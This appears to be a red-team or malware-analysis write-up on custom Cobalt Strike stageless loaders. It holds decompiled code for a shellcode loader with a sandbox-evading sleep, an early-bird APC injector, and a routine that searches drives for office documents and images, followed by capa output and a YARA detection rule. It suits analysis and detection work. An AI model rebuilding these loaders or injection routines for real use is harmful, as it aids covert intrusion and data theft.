Cobalt Strike: Custom Stagers, Early Bird APC Injection & Memory Evasion

undefined8 FUN_140001370(void)

{
  DWORD DVar1;
  BOOL BVar2;
  LPTHREAD_START_ROUTINE lpStartAddress;
  HANDLE hHandle;
  DWORD local_1c [3];
  
  FreeConsole();
  DVar1 = GetTickCount();
  Sleep(DVar1 % 10000 + 5000);
  lpStartAddress =
       (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(ulonglong)DAT_140003000,0x3000,4);
  if (lpStartAddress != (LPTHREAD_START_ROUTINE)0x0) {
    memcpy(lpStartAddress,&DAT_140003020,(ulonglong)DAT_140003000);
    BVar2 = VirtualProtect(lpStartAddress,(ulonglong)DAT_140003000,0x20,local_1c);
    if (BVar2 != 0) {
      hHandle = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0)
      ;
      if (hHandle != (HANDLE)0x0) {
        WaitForSingleObject(hHandle,0xffffffff);
        CloseHandle(hHandle);
        VirtualFree(lpStartAddress,0,0x8000);
        return 0;
      }
    }
    VirtualFree(lpStartAddress,0,0x8000);
  }
  return 1;
}

λ capa.exe -vv cs_stageless.exe
md5                     9f3c64d11b9072f6c7ddd538048d5a74
sha1                    f4584a26a47a9e0bf7c4b1c906afac9e44956bbc
sha256                  e57dc19edc8cbe279b6950bb6c5783d267b605d6dde503170a5450eaee64e0d3
path                    C:/Users/redteam/Desktop/project-a/cs_stageless.exe
timestamp               2025-11-14 16:02:24.448105
capa version            9.2.1
os                      windows
format                  pe
arch                    amd64
analysis                static
extractor               VivisectFeatureExtractor
base address            0x140000000
rules                   C:/Users/redteam/AppData/Local/Temp/_MEI36202/rules
function count          67
library function count  0
total feature count     4625

allocate memory (2 matches, only showing first match of library rule)
author  0x534a@mailbox.org, @mr-tz
scope   basic block
mbc     Memory::Allocate Memory [C0007]
basic block @ 0x140001370 in function 0x140002290
  or:
    api: VirtualAlloc @ 0x1400013B9

allocate or change RW memory (3 matches, only showing first match of library rule)
author  0x534a@mailbox.org, @mr-tz
scope   basic block
mbc     Memory::Allocate Memory [C0007]
basic block @ 0x140001370 in function 0x140002290
  and:
    or:
      match: allocate memory @ 0x140001370
        or:
          api: VirtualAlloc @ 0x1400013B9
    or:
      number: 0x4 = PAGE_READWRITE @ 0x1400013AB

change memory protection (4 matches, only showing first match of library rule)
author  @mr-tz
scope   basic block
mbc     Memory::Change Memory Protection [C0008]
basic block @ 0x1400013CB in function 0x140002290
  or:
    api: VirtualProtect @ 0x1400013F5

contain loop (17 matches, only showing first match of library rule)
author  moritz.raabe@mandiant.com
scope   function
function @ 0x140001131
  or:
    characteristic: loop @ 0x140001131

delay execution (5 matches, only showing first match of library rule)
author      michael.hunhoff@mandiant.com, @ramen0x3f
scope       basic block
mbc         Anti-Behavioral Analysis::Dynamic Analysis Evasion::Delayed Execution [B0003.003]
references  https://docs.microsoft.com/en-us/windows/win32/sync/wait-functions,
            https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp
basic block @ 0x140001169 in function 0x140001131
  or:
    and:
      os: windows
      or:
        api: Sleep @ 0x14000116E

reference Base64 string
namespace  data-manipulation/encoding/base64
author     moritz.raabe@mandiant.com
scope      file
att&ck     Defense Evasion::Obfuscated Files or Information [T1027]
mbc        Data::Encode Data::Base64 [C0026.001], Data::Check String [C0019]
regex: /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" @ file+0x3E820

contain a thread local storage (.tls) section
namespace  executable/pe/section/tls
author     michael.hunhoff@mandiant.com
scope      file
section: .tls @ 0x140055000

contain an embedded PE file
namespace  executable/subfile/pe
author     moritz.raabe@mandiant.com
scope      file
mbc        Execution::Install Additional Program [B0023]
or:
  count(characteristic(embedded pe)): 1 or more @ file+0x1820

get thread local storage value
namespace  host-interaction/process
author     michael.hunhoff@mandiant.com
scope      function
function @ 0x140001C50
  and:
    api: TlsGetValue @ 0x140001C75

allocate or change RWX memory
namespace  host-interaction/process/inject
author     @mr-tz, mehunhoff@google.com
scope      basic block
mbc        Memory::Allocate Memory [C0007]
basic block @ 0x1400017D7 in function 0x1400016F4
  or:
    basic block:
      and:
        or:
          match: change memory protection @ 0x1400017D7
            or:
              api: VirtualProtect @ 0x140001805
        or:
          number: 0x40 = PAGE_EXECUTE_READWRITE @ 0x1400017E4

create thread (2 matches)
namespace  host-interaction/thread/create
author     moritz.raabe@mandiant.com, michael.hunhoff@mandiant.com, joakim@intezer.com, anushka.virgaonkar@mandiant.com
scope      basic block
mbc        Process::Create Thread [C0038]
basic block @ 0x1400013FF in function 0x140002290
  or:
    and:
      os: windows
      or:
        api: CreateThread @ 0x14000141A
basic block @ 0x1400013FF in function 0x140002290
  or:
    and:
      os: windows
      or:
        api: CreateThread @ 0x14000141A

enumerate PE sections (2 matches)
namespace   load-code/pe
author      @Ana06, @mr-tz
scope       function
mbc         Discovery::Code Discovery::Enumerate PE Sections [B0046.001]
references  https://0x00sec.org/t/reflective-dll-injection/3080,
            https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
function @ 0x140001E74
  and:
    os: windows
    instruction:
      and:
        operand[1].offset: 0x6 = IMAGE_NT_HEADERS.FileHeader.NumberOfSections @ 0x140001E82
        or:
          mnemonic: movzx @ 0x140001E82
    basic block:
      or:
        and: = IMAGE_FIRST_SECTION(nt_header)
          instruction:
            and:
              operand[1].offset: 0x14 = IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader @ 0x140001E7E
              or:
                mnemonic: movzx @ 0x140001E7E
          operand[1].offset: 0x18 = FileHeader.SizeOfOptionalHeader @ 0x140001E87
    count(basic block): 3 or more @ 0x140001E74, 0x140001E8C, 0x140001E91, 0x140001E9D, and 3 more...
    optional:
      offset: 0x3C = IMAGE_DOS_HEADER.e_lfanew @ 0x140001E77
    not:
      characteristic: nzxor
    2 or more:
      operand[1].offset: 0xC = IMAGE_SECTION_HEADER.VirtualAddress @ 0x140001E91
      operand[1].offset: 0x14 = IMAGE_SECTION_HEADER.PointerToRawData @ 0x140001E7E
function @ 0x140001F21
  and:
    os: windows
    instruction:
      and:
        operand[1].offset: 0x6 = IMAGE_NT_HEADERS.FileHeader.NumberOfSections @ 0x140001E82
        or:
          mnemonic: movzx @ 0x140001E82
    basic block:
      or:
        and: = IMAGE_FIRST_SECTION(nt_header)
          instruction:
            and:
              operand[1].offset: 0x14 = IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader @ 0x140001E7E
              or:
                mnemonic: movzx @ 0x140001E7E
          operand[1].offset: 0x18 = FileHeader.SizeOfOptionalHeader @ 0x140001E87
    count(basic block): 3 or more @ 0x140001E74, 0x140001E8C, 0x140001E91, 0x140001E9D, and 6 more...
    optional:
      offset: 0x3C = IMAGE_DOS_HEADER.e_lfanew @ 0x140001E77
    not:
      characteristic: nzxor
    2 or more:
      operand[1].offset: 0xC = IMAGE_SECTION_HEADER.VirtualAddress @ 0x140001E91
      operand[1].offset: 0x14 = IMAGE_SECTION_HEADER.PointerToRawData @ 0x140001E7E

parse PE header (2 matches)
namespace  load-code/pe
author     moritz.raabe@mandiant.com
scope      function
att&ck     Execution::Shared Modules [T1129]
function @ 0x140001001
  and:
    os: windows
    and:
      mnemonic: cmp @ 0x140001022, 0x140001043, 0x14000104E, 0x140001055, and 6 more...
      or:
        number: 0x4550 = IMAGE_NT_SIGNATURE (PE) @ 0x140001043
      or:
        number: 0x5A4D = IMAGE_DOS_SIGNATURE (MZ) @ 0x140001022
function @ 0x140001E50
  and:
    os: windows
    and:
      mnemonic: cmp @ 0x140001E52, 0x140001E60, 0x140001E6A
      or:
        number: 0x4550 = IMAGE_NT_SIGNATURE (PE) @ 0x140001E60
      or:
        number: 0x5A4D = IMAGE_DOS_SIGNATURE (MZ) @ 0x140001E52

/* injectoooooooooooooor::main */

undefined8 * injectoooooooooooooor::main(undefined8 *param_1)

{
  BOOL BVar1;
  HANDLE hThread;
  PAPCFUNC pfnAPC;
  undefined8 uVar2;
  undefined4 uVar3;
  DWORD local_1c;
  
  uVar3 = 0;
  hThread = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,function,(LPVOID)0x0,0,(LPDWORD)0x0);
  if ((longlong)hThread - 1U < 0xfffffffffffffffe) {
    pfnAPC = (PAPCFUNC)VirtualAlloc((LPVOID)0x0,0x4b000,0x3000,4);
    memcpy(pfnAPC,&DAT_1400b1058,0x4b000);
    local_1c = 0;
    uVar3 = 0x4b000;
    BVar1 = VirtualProtect(pfnAPC,0x4b000,0x20,&local_1c);
    if (BVar1 != 0) {
      QueueUserAPC(pfnAPC,hThread,0);
      ResumeThread(hThread);
      WaitForSingleObject(hThread,0xffffffff);
      *param_1 = 0;
      return param_1;
    }
  }
  uVar2 = windows_core::error::Error::from_win32();
  param_1[1] = uVar2;
  *(undefined4 *)(param_1 + 2) = uVar3;
  *param_1 = 1;
  return param_1;
}

int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
  BOOL BVar1;
  DWORD DVar2;
  longlong lVar3;
  CHAR *pCVar4;
  CHAR local_158 [4];
  CHAR aCStack_154 [268];
  HANDLE local_48;
  HANDLE local_40;
  DWORD local_34;
  DWORD local_30;
  undefined4 local_2c;
  DWORD local_28 [3];
  int local_1c;
  
  __main();
  pCVar4 = local_158;
  for (lVar3 = 0x20; lVar3 != 0; lVar3 = lVar3 + -1) {
    pCVar4[0] = '\0';
    pCVar4[1] = '\0';
    pCVar4[2] = '\0';
    pCVar4[3] = '\0';
    pCVar4[4] = '\0';
    pCVar4[5] = '\0';
    pCVar4[6] = '\0';
    pCVar4[7] = '\0';
    pCVar4 = pCVar4 + 8;
  }
  *pCVar4 = '\0';
  local_28[1] = 0x101;
  BVar1 = GetUserNameA(local_158,local_28 + 1);
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    printf("Error (User): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("User: %s\n",local_158);
  }
  pCVar4 = local_158;
  for (lVar3 = 0x20; lVar3 != 0; lVar3 = lVar3 + -1) {
    pCVar4[0] = '\0';
    pCVar4[1] = '\0';
    pCVar4[2] = '\0';
    pCVar4[3] = '\0';
    pCVar4[4] = '\0';
    pCVar4[5] = '\0';
    pCVar4[6] = '\0';
    pCVar4[7] = '\0';
    pCVar4 = pCVar4 + 8;
  }
  pCVar4[0] = '\0';
  pCVar4[1] = '\0';
  pCVar4[2] = '\0';
  pCVar4[3] = '\0';
  pCVar4[4] = '\0';
  local_28[0] = 0x105;
  BVar1 = GetComputerNameA(local_158,local_28);
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    printf("Error (Host): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("Host: %s\n",local_158);
  }
  local_28[2] = GetLogicalDrives();
  if (local_28[2] == 0) {
    DVar2 = GetLastError();
    printf("Error (GetLogicalDrives): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("\n=== Searching for .pdf, .xls, .xlsx, .docx, .jpeg, .jpg, .ppt, .pptx ===\n");
    local_2c = 0x5c3a41;
    for (local_1c = 0; local_1c < 0x1a; local_1c = local_1c + 1) {
      if ((1 << ((byte)local_1c & 0x1f) & local_28[2]) != 0) {
        local_2c = CONCAT31(local_2c._1_3_,(byte)local_1c + 0x41);
        printf("\nDrive: %s\n",&local_2c);
        ListFilteredFilesRecursively((double)&local_2c,1);
      }
    }
  }
  local_48 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,Thread1,(LPVOID)0x0,0,&local_30);
  local_40 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,Thread2,(LPVOID)0x0,0,&local_34);
  WaitForMultipleObjects(2,&local_48,1,0xffffffff);
  printf("All threads complete.\n");
  return 0;
}

rule stageless_Loaders_C_and_Rust
{
    meta:
        description = "Detects ONLY custom C and Rust stageless loaders – no generic CS"
        date        = "2025-11-18"
        confidence  = "Medium-high"

    strings:
        // EXTRACTED SHEELL CODE BYTES.
        $dos_prologue = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 }

        // reflective loader pattern
        $reflective = { 48 8D 1D EA FF FF FF 48 89 DF 48 81 C3 ?? ?? ?? ?? FF D3 41 B8 F0 B5 A2 56 }

        $dos_msg = "This program cannot be run in DOS mode" ascii

        // Embedded PE header (inside payload)
        $embedded_pe = { 50 45 00 00 64 86 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 10MB and
        $dos_prologue and
        $reflective and
        $dos_msg and
        $embedded_pe
}